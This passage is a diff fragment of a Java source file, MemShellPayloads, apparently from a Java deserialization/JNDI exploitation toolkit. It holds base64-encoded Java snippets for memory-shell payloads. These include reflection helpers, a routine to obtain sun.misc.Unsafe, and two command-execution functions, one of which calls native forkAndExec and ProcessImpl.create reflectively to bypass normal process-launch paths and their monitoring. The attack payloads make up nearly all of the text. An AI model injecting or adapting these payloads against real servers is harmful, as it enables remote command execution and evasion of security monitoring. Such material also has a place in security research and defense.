JvY2Vzc09iamVjdCwgImNyZWF0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIGxvbmdbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgc3RkSGFuZGxlcywgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0V9KTsKCQkJCQlpZiAoaGFuZGxlID09IG51bGwpIHsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSwKCQkJCQkJCQluZXcgT2JqZWN0W117c2IudG9TdHJpbmcoKS50cmltKCksIG51bGwsIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJZmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJZmllbGQuc2V0KHByb2Nlc3NPYmplY3QsIGhhbmRsZSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJmZEFjY2VzcyIpLCAic2V0SGFuZGxlIiwgbmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgbG9uZy5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCX0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShuZXcgamF2YS5pby5GaWxlSW5wdXRTdHJlYW0oc3Rkb3V0X2ZkKSkpOwoJCQkJfSBlbHNlIHsKCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCXByb2Nlc3NDbGFzcyA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyIpOwoJCQkJCXByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJaW50ICAgICAgc2l6ZSA9IGFyZ3MubGVuZ3RoOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgYXJncy5sZW5ndGg7IGkrKykgewoJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJc2l6ZSArPSBhcmdzW2ldLmxlbmd0aDsKCQkJCQl9CgkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJaW50ICAgIGkgICAgICAgID0gMDsKCQkJCQlmb3IgKGludCBpMSA9IDA7IGkxIDwgYXJncy5sZW5ndGg7IGkxKyspIHsKCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCWkgKz0gYXJnc1tpMV0ubGVuZ3RoICsgMTsKCQkJCQl9CgkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJdHJ5IHsKCQkJCQkJT2JqZWN0IGxhdW5jaE1lY2hhbmlzbU9iamVjdCA9IGdldEZpZWxkVmFsdWUocHJvY2Vzc09iamVjdCwgImxhdW5jaE1lY2hhbmlzbSIpOwoJCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCQlpbnQgICAgb3JkaW5hbCAgICAgICAgICAgICAgID0gamF2YS5sYW5nLkludGVnZXIucGFyc2VJbnQoZ2V0TWV0aG9kQW5kSW52b2tlKGxhdW5jaE1lY2hhbmlzbU9iamVjdCwgIm9yZGluYWwiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJmb3JrQW5kRXhlYyIsIG5ldyBDbGFzc1tde2ludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnRbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCB0b0NTdHJpbmcoY21kc1swXSksIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJamF2YS5pby5GaWxlRGVzY3JpcHRvciBzdGRvdXRfZmQgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYm9vbGVhbi5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30sCgkJCQkJCQkJbmV3IE9iamVjdFtde3RvQ1N0cmluZyhjbWRzWzBdKSwgYXJnQmxvY2ssIEludGVnZXIudmFsdWVPZihhcmdzLmxlbmd0aCksIG51bGwsIEludGVnZXIudmFsdWVPZigxKSwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCXRyeSB7CgkJCQkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICAgICAgICBkY2lzQ2xhc3MgICA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyREZWZlcnJlZENsb3NlSW5wdXRTdHJlYW0iKTsKCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSgoamF2YS5pby5JbnB1dFN0cmVhbSkgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde3N0ZG91dF9mZH0pKSk7CgkJCQkJCX1jYXRjaCAoRXhjZXB0aW9uIG5ldmVyTWluZCl7CgkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0obmV3IGphdmEuaW8uRmlsZUlucHV0U3RyZWFtKHN0ZG91dF9mZCkpKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJCWphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSAoamF2YS5pby5JbnB1dFN0cmVhbSkgZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQkJaW50ICAgICAgICAgICAgICAgICBhICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgIGIgID0gbmV3IGJ5dGVbMTAyNF07CgkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCWJhb3Mud3JpdGUoYiwgMCwgYSk7CgkJCQl9CgkJCQlyZXR1cm4gYmFvczsKCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiBudWxsOwoJfQ=="; - - // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() - public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; -} +package com.qi4l.JYso.gadgets.Config; + +public class MemShellPayloads { + // toCString + public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; + + // getMethodAndInvoke native 版 + public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ=="; + + // getMethodAndInvoke + public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; + + // getMethodByClass + public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0="; + + // getFieldValue + public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9"; + + // getUnsafe + public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; + + // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe + public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCAgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCVN0cmluZ0J1aWxkZXIgICAgICAgICAgc2IgICAgICAgICA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CgoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCBoYW5kbGUgPSBnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImNyZWF0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIGxvbmdbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgc3RkSGFuZGxlcywgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0V9KTsKCQkJCQlpZiAoaGFuZGxlID09IG51bGwpIHsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSwKCQkJCQkJCQluZXcgT2JqZWN0W117c2IudG9TdHJpbmcoKS50cmltKCksIG51bGwsIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJZmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJZmllbGQuc2V0KHByb2Nlc3NPYmplY3QsIGhhbmRsZSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJmZEFjY2VzcyIpLCAic2V0SGFuZGxlIiwgbmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgbG9uZy5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCX0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShuZXcgamF2YS5pby5GaWxlSW5wdXRTdHJlYW0oc3Rkb3V0X2ZkKSkpOwoJCQkJfSBlbHNlIHsKCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCXByb2Nlc3NDbGFzcyA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyIpOwoJCQkJCXByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJaW50ICAgICAgc2l6ZSA9IGFyZ3MubGVuZ3RoOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgYXJncy5sZW5ndGg7IGkrKykgewoJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJc2l6ZSArPSBhcmdzW2ldLmxlbmd0aDsKCQkJCQl9CgkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJaW50ICAgIGkgICAgICAgID0gMDsKCQkJCQlmb3IgKGludCBpMSA9IDA7IGkxIDwgYXJncy5sZW5ndGg7IGkxKyspIHsKCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCWkgKz0gYXJnc1tpMV0ubGVuZ3RoICsgMTsKCQkJCQl9CgkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJdHJ5IHsKCQkJCQkJT2JqZWN0IGxhdW5jaE1lY2hhbmlzbU9iamVjdCA9IGdldEZpZWxkVmFsdWUocHJvY2Vzc09iamVjdCwgImxhdW5jaE1lY2hhbmlzbSIpOwoJCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZS